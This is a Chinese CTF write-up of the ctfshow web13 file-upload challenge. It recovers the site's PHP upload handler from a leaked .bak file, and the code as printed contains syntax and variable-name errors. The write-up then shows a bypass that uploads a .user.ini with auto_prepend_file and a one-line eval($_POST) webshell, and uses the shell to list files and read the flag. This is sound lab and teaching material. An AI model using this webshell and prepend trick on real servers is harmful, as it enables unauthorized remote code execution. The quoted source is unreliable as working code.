首页 > 其他分享 >ctfshow web13

ctfshow web13

时间:2024-09-07 11:53:42浏览次数:16  
标签:文件 user web13 ctfshow file php 上传 ini

 尝试  常规姿势上传文件

打开网站

初步判定为文件上传漏洞。

随便选择几个文件上传,提示错误



不选择任何文件直接点提交也会报错



打开burpsuite抓包,改掉MIME类型,也就是图示位置,发现也不行,应该不是MIME过滤



一头雾水,只能换个思路。 



------------------------------------------------------这是分割线------------------------------------------------------------

尝试  获取网站源码

通过备份压缩文件获取,常见的文件后缀名有以下这些

.rar  .zip  .7z  .tar.gz  .bak  .txt  .old  .temp

 发现.bak文件能够获取源码

敏感文件泄露的方式有很多,例如  .git、.svn、.hg源码泄露等

常见的利用方式和工具参考这篇文章

k常见的web源码泄露,以及利用方式、利用工具


源代码分析:文件上传漏洞

<?php 
	header("content-type:text/html;charset=utf-8");
    $filename = $_FILES['file']['name'];//获取上传文件的原始文件名。(包含后缀名)
    $tmp_name = $_FILES['file']['tmp_name'];//获取上传文件在服务器的临时存储路径。
    $size = $_FILES['file']['size'];//获取文件的大小,单位为字节。
    $error = $_FILES['file']['error'];//获取文件上传过程中是否发生错误,返回错误代码。
	
    $arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
    //使用 pathinfo() 函数解析文件路径,提取文件的扩展名(extension)
    //并存储到 $ext_suffix 变量中。

    if ($size > 24){
		die("error file zise");
	}//大小限制

	if (strlen($filename)>9){
		die("error file name");
	}//文件名长度限制(包括扩展名)

	if(strlen($ext_suffix)>3){
		die("error suffix");
	}//扩展名长度限制

	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }//这两个都是限制文件名里面没有php字样
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}
    //使用 move_uploaded_file() 函数将临时文件移动到指定目录中(此处为当前目录下)。
    //如果上传成功,输出 “文件上传成功!”,否则输出 “文件上传失败!”。
 ?>

 那显而易见,就是上传我们含有构造payload的文件,只是有一些限制。

目标就是写个一句话木马,上传上去。绕过方式也很简单,利用.user.ini文件


.user.ini文件妙用

这里就非常通俗易懂的说一下它的作用,如有口误不必在意(bushi

.user.ini 是一个配置文件,允许用户在特定的目录下为 PHP 运行环境设置一些参数。甚至可以覆盖某些php的全局设置。就比如说在某个目录下有.user.ini文件和1.php文件,你就可以设置.user.ini文件里面的一些参数,1.php执行的时候就会优先按照.设置的来。

至于在文件上传漏洞中主要的参数也就两个  auto_prepend_file  和   auto_append_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。而autu_append_file无非就是加到文件底部(ps:不过一般还是建议加在顶部,因为文末如果有exit()会无法调用到)

示例:auto_prepend_file = "/path/to/prepend.php"

修改数据包,上传含有payload的文件(也可以在本地把这两个文件写好再上传)

先上传.user.ini文件,其中的1.txt就是我们即将上传的带有一句话木马的文件



现在上传1.txt文件

ps:不管是写成<?php eval($_POST['a']);还是<?= eval($_POST['a']);形式,亦或者是GET方式,经过我测试都可以成功

提交参数,获取flag

通过火狐hackbar插件,在/upload.php目录下提交参数

a=print_r(glob('*'));
//当然,用scandir()函数也可以,print_r(scandir('.'));

结果如下 

得到一个文件名巨长的文件,用highlight_file()函数访问,得到flag

标签:文件,user,web13,ctfshow,file,php,上传,ini
From: https://blog.csdn.net/2302_76724233/article/details/141973605

相关文章

  • ctfshow web红包题第二弹题解
    从今天开始记录刷题日常打开靶场平平无奇,看源代码发现如下提示get方式提交cmd参数,猜测是命令执行漏洞,先写个phpinfo();试试。有用,但报错cerror查看显示出来部分php代码,过滤了很多东西if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)) 第一个正则表达式把字母数字几乎全......
  • ctfshow-web入门-信息搜集(web1-web10)
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录web1(查看源代码)右击页面查看源代码web2(js前台拦截===无效操作)打开题目地址采用burp抓包并进行重发数据包web3(没思路的时候抓个包看看,可能会有意外收获)打开题目链接查看源码无果采用burp抓包并......
  • 关于ctfshow的web题目的文件包含题目的思考
    今日深思两个题目ctfshow的web方向的web3和web4开始有疑惑了:<?phpinclude($_GET['url']);?>这两个题目都是这句话我一眼看上去是文件包含,我发现访问到一些目录下的文件,比如etc/passwd,是能够回显的第三题的write_up是利用php伪协议去实现渗透第四题的write_up是利用网站nig......
  • 【CTF Web】CTFShow 敏感信息公布 Writeup(目录扫描+信息收集+敏感信息泄露)
    敏感信息公布10有时候网站上的公开信息,就是管理员常用密码解法用dirsearch扫描。dirsearch-uhttps://761187ad-86d1-4a5e-9003-71f2c83577b1.challenge.ctf.show/找到robots.txt。访问:https://761187ad-86d1-4a5e-9003-71f2c83577b1.challenge.ctf.show/ro......
  • 【CTF Web】CTFShow 内部技术文档泄露 Writeup(信息收集+敏感信息泄露)
    内部技术文档泄露10技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码解法用dirsearch扫描。dirsearch-uhttps://4d39f7a4-b1f8-4c9f-8946-e526f3e982af.challenge.ctf.show/没有找到有用的信息。页脚有个document。点进去,是一份pdf。访......
  • ctfshow-web入门-sql注入(web224-web230)文件类型注入、routines存储过程与函数状态、ha
    目录1、web2242、web2253、web2264、web2275、web2286、web2297、web2301、web224登录页面测了下没发现注入点存在robots.txt访问/pwdreset.php  ,是管理员密码重置的页面直接重置密码,这里以123456为例使用admin/123456登录 来到一个文件生成界......
  • 【CTF刷题4】ctfshow刷题web部分wp(3)
    题目来源:ctfshow菜狗杯算力超群考点:抓包,eval()函数利用,漏洞利用打开发现是个计算器。一般碰到计算器就很容易和命令执行扯到一块。随便计算下然后抓个包发现是get方法,改参数让它报错。发现eval()函数。python语言,用危险函数eval()进行运算。这里我们使用沙......
  • 【CTFWP】ctfshow-web351-358
    文章目录前言web351web352web353web354web355web356web357web358前言ctfshow的web入门的ssrf靶场web351<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,......
  • CTFSHOW 萌新 web9 解题思路和方法(利用system函数执行系统命令)
    点击题目链接,从题目页面显示的代码中可以看到我们可以使用命令执行漏洞查看网站的文件:我们首先使用system函数并使用ls命令查看当前目录下的所有文件:因为题目中提示flag在config.php文件中,所有可以直接读取该文件当然,如果题目中没有说明falg在那个文件中,我们可以使用......
  • CTFSHOW 萌新 web10 解题思路和方法(passthru执行命令)
    点击题目链接,分析页面代码。发现代码中过滤了system、exec函数,这意味着我们不能通过system(cmd命令)、exec(cmd命令)的方式运行命令。在命令执行中,常用的命令执行函数有:system(cmd_code);exec(cmd_code);shell_exec(cmd_code);passthru(cmd_code);可以发现,passthru未被过滤,......